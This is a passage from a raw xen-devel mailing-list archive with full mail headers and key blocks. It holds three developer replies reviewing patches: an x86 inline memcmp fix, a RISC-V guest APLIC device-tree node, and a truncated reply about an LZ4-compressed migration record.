 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1784789981-F38BC2AC-E185D1F4/0/0
X-purgate-type: clean
X-purgate-size: 2580

On 22.07.2026 20:45, H. Peter Anvin wrote:
> On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8.de> wrote:
>> hpa in To:.
>>
>> On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wrote:
>>> Add the volatile qualifier and clobbers parameter to prevent bugs with
>>> instruction reordering and optimization.
>>>
>>> Also check the zero-length case, as the 'repe' prefix does not run the
>>> 'cmpsb' instruction if the 'count' register is zero, which doesn't set
>>
>> Please use capital letters for insns: REPE, CMPSB and you don't need to put
>> words in '' - it reads fine without them.
>>
>>> the condition-code/zero flag, so the result is based on a stale flag.
>>>
>>> Those are pre-existing issues found by Sashiko.
>>>
>>> Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com
>>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>>> ---
>>>  arch/x86/include/asm/shared/string.h | 8 ++++++--
>>>  1 file changed, 6 insertions(+), 2 deletions(-)
>>>
>>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dccab3cdac281d67aef5d44 100644
>>> --- a/arch/x86/include/asm/shared/string.h
>>> +++ b/arch/x86/include/asm/shared/string.h
>>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_
>>>  {
>>>  	bool diff;
>>>  
>>> -	asm("repe cmpsb"
>>> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>>> +	if (len == 0)
>>> +		return 0;
>>> +
>>> +	asm volatile("repe cmpsb"
>>> +		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
>>> +		     : : "cc", "memory");
>>>  
>>>  	return diff;
>>>  }
>>
>> So this is a fix which should probably go to stable, I think. Going back into
>> git history, it points to
>>
>>  62bd0337d0c4 ("Top header file for new x86 setup code")
>>
>>from 2007. And we have carried it this way through the years and who knows
>> what hit this or not. So please make this the first patch in your set - you
>> can even send it separately so that I can get route it through stable.
>>
>> Then you can base the rest ontop.
>>
>> Thx.
>>
> 
> Also, this is silly. Instead of adding a whole separate test, just do "test %3,%3" before the repe to set ZF and let the REPE skip.

Besides this, isn't the function effectively returning bool wrong anyway? This
way you can use it for equal / not-equal comparisons, but not for sorting and
alike.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 13:08:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 13:08:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369122.1618021 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmt9h-0005vt-Nj; Thu, 23 Jul 2026 13:08:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369122.1618021; Thu, 23 Jul 2026 13:08:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmt9h-0005vl-KM; Thu, 23 Jul 2026 13:08:05 +0000
Received: by outflank-mailman (input) for mailman id 1369122;
 Thu, 23 Jul 2026 13:08:04 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wmt9g-0005vf-Ir
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 13:08:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmt9f-007a6B-Oq
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:08:03 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a621226-5cb7-0a2a0a5109dd-0a2a4504e060-30
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:08:03 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a621233-b57f-0a2a45040019-d155802fe4fd-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:08:03 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-4953de5be0aso4528995e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 06:08:03 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956d475e24sm112064885e9.0.2026.07.23.06.08.01
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 23 Jul 2026 06:08:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784812083; x=1785416883; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=KTvd0XfdsApJ0kLzdbwtfFmDzasozlUZn0+6DVqx15Y=;
        b=cOWnZ+Ikupvo0dRf5v5B4So6SV7R5Ar8rL13Sm+rVN7t68zuV2K2Ew23rjkUHxbAZ1
         OqOQnEi4xjatYm775Fcl9iXRyx8QINWGqbGYRz/L6t6/OxAOV/49fSGiHaAZzSwRK2Ld
         ybTG/lSqCK1pLmFYj+6HLY92jn62dWSCuO8rYIV2TZZM2sBOm2vNLgFPP8PMlZ/rb9nN
         Pklt0dYa9MxuQ7vV1RxFktyEjFrk69PpjEyIQdH3yd8FTZXdcG723W/TBBXtL3yD4a0A
         eCKNrXwIcRYWo4vHwXF9f2/u6k5hqEDKaOoyoiKXndgQynFwN54n1fNUlU/oJNyjCafW
         /xAg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784812083; x=1785416883;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=KTvd0XfdsApJ0kLzdbwtfFmDzasozlUZn0+6DVqx15Y=;
        b=R4aYB23VM/XTXN/BFw4oznabEUYaDaE7nGQauoyPQC33eamfN1Pllye4pDH5uV9bIb
         rb6XQaLUhDqSzUjY0uQviecxGN2rPL3wz+bgomrQ+HR2OLKZ+VdD2lOtYuTEayJ+Qz1h
         j7oN6pfUXWIsV5WBb6eVemel/eO7/A+wKK2XFwZHOrCm40qSeM9rSJ/zlH2TiP47BeFW
         iUeaqXIHaWpgXTr4xKbgkCmlpDqWN5vj1naE/tMxSGgqIBp1epAIv7UYBS0LkwhW5gKZ
         HIUkN3z7HY9VMtf4ULV8gxfoHYUZIRVOV7lSBP1fmt1TwrDIxRIOTjXLiVQSCVu+qXE3
         ZdYQ==
X-Forwarded-Encrypted: i=1; AHgh+RpnCSIPTthG8IGfy79jTvORba6Yycx9Rod0jjWdW+skj8jvIWtAeQC6bvU+CCSKJ0isRJufpGd9JNc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxaRqO0mNbtUZXP1V5Otj3FY/PxAF+ZJ5wg1HgajSXHhLQY3QSM
	hRnwp2LlYky0NCK1GCKZ+rg88IqRWcmnvFM6eWin8cDP+KFIaIp8zCxpscQFv8UyQw==
X-Gm-Gg: AR+sD13+Efl1PIY2Ya7BMwyJoHW8tOU3XzCcpTRpgx6L9DeCh6bKvJLh0MG55Y6XCEr
	kdm0Ro5aVY47iuLzxH7Hk5rs+EqHUPo2GrRBXNF3wAt/O9xKUrIjcixk6HbCTRZmKniJls3R3UK
	HlCjGqr9nZyJdM6BgtG8tIDfwudiwuvaEXQLVRTBEy4Lipy6Iyq8Ngwn4qvQOKcXkzQeRh8TNz2
	nBp2dq79iwXU5RAZ+/mldA6FPZAZE4/Ucbq9JB7deAqbkyaVnkO9cTQFI4zpmgr7+hFoWw45yVy
	VGelnCwX7jaBiJdfVaVI0LDhIdiEYHQMLftW24fuAtqHbGyJJM2AdtMATEkh6EM959wwEexfNE2
	XymBX5sWNG15eH6I4Ji823XfgYZtV3AyHG0UAEEKnbJAsyGgt4eO2FHniI9Jc1ohZQRyAU5Wy6K
	k10p4lGbzVjffik/Zm33WUP5Fs9vy/EipyFQ+zxWQPDDT6BusUkD+lgEQowOue6QmsJA==
X-Received: by 2002:a05:600c:6a07:b0:493:a613:56b2 with SMTP id 5b1f17b1804b1-49573c8d700mr23330985e9.8.1784812082858;
        Thu, 23 Jul 2026 06:08:02 -0700 (PDT)
Message-ID: <c37949ce-5858-4b62-b6c8-5cc17d40c9b4@suse.com>
Date: Thu, 23 Jul 2026 15:08:01 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 17/23] xen/riscv: create APLIC DT node for guest
 domains
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <06c022159e9cf70bacd0c061b7460b99a3dc88ea.1784559209.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <06c022159e9cf70bacd0c061b7460b99a3dc88ea.1784559209.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1784812083-51CD7B50-ACEA01AA/0/0
X-purgate-type: clean
X-purgate-size: 1991

On 20.07.2026 17:59, Oleksii Kurochko wrote:
> --- a/xen/arch/riscv/aplic-priv.h
> +++ b/xen/arch/riscv/aplic-priv.h
> @@ -34,4 +34,18 @@ struct aplic_priv {
>      const struct imsic_config *imsic_cfg;
>  };
>  
> +/*
> + * Value is inspired by what QEMU is using for riscv,num-sources property for
> + * APLIC node.
> + */
> +#define GUEST_APLIC_MAX_SOURCES 96U
> +
> +/*
> + * Specifies the number of wired interrupt sources supported by guest APLIC
> + * domain.
> + * Could be limited by host interrupt controller and is identical for every
> + * domain.
> + */
> +extern unsigned int guest_aplic_num_sources;

It being only IMSIC which is supported right now together with APLIC, what
exactly does the word "wired" mean to express in the comment? MSI, as their
name says, aren't "wired interrupts" but messages on the system bus.

You may also want to add "for now" to the latter sentence.

> @@ -29,6 +37,74 @@ static void cf_check vaplic_deinit(struct vcpu *v)
>      return vcpu_imsic_deinit(v);
>  }
>  
> +static int __init cf_check vaplic_make_domu_dt_node(struct kernel_info *kinfo)
> +{
> +    struct domain *d = kinfo->bd.d;
> +    int res;
> +    void *fdt = kinfo->fdt;
> +    unsigned int msi_parent_phandle;
> +    char vaplic_name[32];
> +    unsigned int aplic_size = APLIC_SIZE(d->max_vcpus);
> +    const __be32 reg[] = {
> +        cpu_to_be32(GUEST_APLIC_S_BASE >> 32),
> +        cpu_to_be32(GUEST_APLIC_S_BASE),
> +        cpu_to_be32(0),
> +        cpu_to_be32(aplic_size),
> +    };
> +
> +    BUILD_BUG_ON(APLIC_SIZE(MAX_VIRT_CPUS) > UINT_MAX);
> +
> +    res = snprintf(vaplic_name, sizeof(vaplic_name), "/soc/aplic@%lx",

Well, what should I say? I really expected you to have gone through all of your
pending patches. replacing sizeof() by ARRAY_SIZE() in cases like this one.

With this adjusted and with the question above sorted one way or the other:
Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 13:14:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 13:14:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369135.1618030 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtFZ-0007UT-GX; Thu, 23 Jul 2026 13:14:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369135.1618030; Thu, 23 Jul 2026 13:14:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmtFZ-0007UM-DH; Thu, 23 Jul 2026 13:14:09 +0000
Received: by outflank-mailman (input) for mailman id 1369135;
 Thu, 23 Jul 2026 13:14:08 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcus.granado@citrix.com>) id 1wmtFY-0007UG-DX
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 13:14:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmtFX-00FrMo-OH
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 15:14:07 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a621394-e002-0a2a0a5209dd-0a2a4501d526-44
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:14:07 +0200
Received: from [52.101.85.31]
 (helo=BYAPR05CU005.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcus.granado@citrix.com>)
 id 6a62139c-5984-0a2a45010019-3465551f32f8-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 15:14:06 +0200
Received: from LV4PR03MB8234.namprd03.prod.outlook.com (2603:10b6:408:2e3::8)
 by LV3PR03MB7561.namprd03.prod.outlook.com (2603:10b6:408:288::5)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Thu, 23 Jul
 2026 13:14:01 +0000
Received: from LV4PR03MB8234.namprd03.prod.outlook.com
 ([fe80::264a:2e82:2064:7fab]) by LV4PR03MB8234.namprd03.prod.outlook.com
 ([fe80::264a:2e82:2064:7fab%4]) with mapi id 15.21.0245.010; Thu, 23 Jul 2026
 13:14:01 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=xUR+UlFmFrf7XWsZ5RH5btzrukM2mGUrxMPZzE768tncS3t4GJT+kK8iZNho9fKAgMDQsziwv4X//CmLo1SShdmxcd0ETE4o+4mtxSkaHn7uMcpZsFcFRUhe6sqsQIJ4vaeVMZqQ++CMIM7UXKx9FZx/CJWQrx/EXsleaU2evIO7/LhqSUAMQvw5AMTWe/AaXL3oCyfOu45Dy6nqRVRFJa9z0DhScr8LOLLl2zjdcC9nR7tbCTQwJ4uQrJMx3rxFTto3/Xfvt++0dwXRNfe/BvqD4qrRsWksgTuH+J0c7LLGLYbsPQjpzvcireaPy6kMcstL20wW3w3mknmusn8gpA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=nolBbTm22vHTne5a275fXU1vUqEx0wtdFj8Wk3AQHVE=;
 b=N4Xmz7OvXpRC6QL4BPmALJce5qCkhy4gioIzHAyBF2+qE+NT+PWj3/XQr3Ijfh7/DeYvZmJIrdO0bDx/8Dtxqy8YXk4jESx5gnKTR1XJcIbaMdAPNjeEwZ+63NQCGJHsWnPxshkyam7WjqWM1UZ7WZ3jOdxtAkxdcV21ncDVvuErFbcyEcHYtqV0kLP2FrNiOPJoRMvEhvdSTQFdR12sjzPEaEPabk6EJ/IpOdN+FnCPyXAQfyshNeK0mo/SHv9I39hz1qSANws8nZOn3JrwPfkKBFLy9iAZJhH6fkjcAEIi71DwKAL1fnd+l7v4x2YGlHEkiq7DuMx3GyFmcoAvhA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=nolBbTm22vHTne5a275fXU1vUqEx0wtdFj8Wk3AQHVE=;
 b=xy3aj2BmzMrKDgbLTM5UE/sZE1VTB6/zyz5tzPcTr7Z9WgitZXw+7iiudqnF7jqjIYx5nvkuQO16ZVaA8F8maGjN6Lp/ye8bSmzIFtowVs7aMdnzL/6a6i5HOIZ/wGMgh0XiJMop9yFSWMIm8vaDfYvgFN3u9gl9XwmRB+c7VRE=
From: Marcus Granado <marcus.granado@citrix.com>
To: Teddy Astie <teddy.astie@vates.tech>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
CC: Andrew Cooper <andrew.cooper3@citrix.com>, Roger Pau Monne
	<roger.pau@citrix.com>, Frediano Ziglio <freddy77@gmail.com>, Anthony PERARD
	<anthony.perard@vates.tech>, =?iso-8859-1?Q?Marek_Marczykowski-G=F3recki?=
	<marmarek@invisiblethingslab.com>
Subject: Re: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream
 record type
Thread-Topic: [PATCH v1 1/6] tools/migration: introduce PAGE_DATA_LZ4 stream
 record type
Thread-Index: AQHdGF9mhIhyvqGSRUyPVZ4Z3HHB7rZ3oucAgANsT7g=
Date: Thu, 23 Jul 2026 13:14:01 +0000
Message-ID:
 <LV4PR03MB82348E706D3E9FB567387609EDC02@LV4PR03MB8234.namprd03.prod.outlook.com>
References: <20260720154832.1907401-1-marcus.granado@citrix.com>
 <20260720154832.1907401-2-marcus.granado@citrix.com>
 <1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@vates.tech>
In-Reply-To:
 <1784622046.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@vates.tech>
Accept-Language: en-GB, en-US
Content-Language: en-GB
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
msip_labels:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: LV4PR03MB8234:EE_|LV3PR03MB7561:EE_
x-ms-office365-filtering-correlation-id: 6f47c408-774c-4356-83d1-08dee8bc4393
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|376014|1800799024|23010399003|10070799003|56012099006|11063799006|4143699003|10067099003|6133799003|18002099003|22082099003|38070700021;
x-microsoft-antispam-message-info:
 342A3a2vDvql2cgaohFJmEMZ976XmYZvprMxSql4hCBLivtw9mCpBZ7wwUM6c8HS3PPGyjvsopdmxO97gGCq5X3UMeogbvYlHH0xtk6ooekY9PIGgTlhWWk7nC1uhOWnxPOuGLSwJ7dw68YV+qkbf63+FGudxE9Pp90xXC3P++OXkPNqCZz8xrFblF5Qg743EEX8KVxWOzLLDajwPoqhlUDBsNNlCBFQoO82+GRYqgJ66B8wh46O76vlAqs1O7t6VtGmiGWnFyeJGZK9yqyByBNbCIKINgkvwe63kitFsOn2DTCWX3DWGmUWW8OVc+jl5IQpbBSWZ59k24omB05+G/mRUWkuS12U8i04n43KkQlIN6+xYVtALGacObaGuOeN2/36P2WXqlpMg4R00NCsEKOEjOB4DMzUt6Onj82V4qqfZ3n9j44bnL8mkxSydg7hr5YcpT5FWNLO3GLyN4sOK9WhIndBpuqCcDIXouPDSZJAstyxtg0N2l7i7rlTxqhiqJpCuJMjnXUoq2jfm/wjmCQeagNgL9Gy7iZ+cvwEL8xG0sMn9Hgq2I7nI1DCiB4sk/FaQuBrMmGYbcTMlVfbM1Yc6jb+ZA5u1+V1oTMUiXD+7FCgKYG1NXX/3oMiXJbwn5YW9/kWmWj56cENw8PQhG53cZyXH7wToiwYf85SU1aHGuYCKUIVyyRNIYhlRFtGM7MgK0CXKyuIa/Ar2/C7hvWfsGFWyArfxCSXQv0kvwk=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:LV4PR03MB8234.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(1800799024)(23010399003)(10070799003)(56012099006)(11063799006)(4143699003)(10067099003)(6133799003)(18002099003)(22082099003)(38070700021);DIR:OUT;SFP:1101;
x-ms-exchange-antispam-messagedata-chunkcount: 2
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?4xXMGWW8md4kBzC//qxUjfEdfBDSh8GUQhkIgykglkioPKPAV86fVSuQOY?=
 =?iso-8859-1?Q?Mo6jEtXHl9Uew35qaEBWPf0Zu0zWbdgEr7M+X6Y4EHHtxsl/BiQMl2clOY?=
 =?iso-8859-1?Q?TKVpeVQr1xIjUe8OzHLf3qHo7DrQ0DhPJ0lY85s6ugFpB75vxrRFUSMv7v?=
 =?iso-8859-1?Q?jPp5p6PmQUxs4CRFW5bsSRmCF2XJ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Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: LV4PR03MB8234.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 6f47c408-774c-4356-83d1-08dee8bc4393
X-MS-Exchange-CrossTenant-originalarrivaltime: 23 Jul 2026 13:14:01.8168
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: mQoN3y8LnRx8BZJgPMEeNzyMAulGcfBKIzgKkJupZ4wggMSAmb+xQIONMgUaFRBjXdE8GRF9kkpyJFLdZPodThAiqnHFiDVDCSV5eNIA+Bk=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV3PR03MB7561
X-purgate-ID: tlsNG-d62444/1784812447-C4558757-119C7885/0/0
X-purgate-type: clean
X-purgate-size: 6333

On 21/07/2026 at 09:20, Teddy Astie wrote:=0A=
> Le 20/07/2026 =E0 17:51, Marcus Granado a =E9crit :=0A=
>> +PAGE_DATA_LZ4=0A=
>> +-------------=0A=
>> +=0A=
>> +A PAGE_DATA_LZ4 record carries exactly the same information as a=0A=
>> +PAGE_DATA record, but with the page contents LZ4-compressed.  The saver=
=0A=
>> +may emit it in place of a PAGE_DATA record when LZ4 compression has bee=
n=0A=
>> +requested.=0A=
>=0A=
> Would it be preferable to make this structure more generic, i.e=0A=
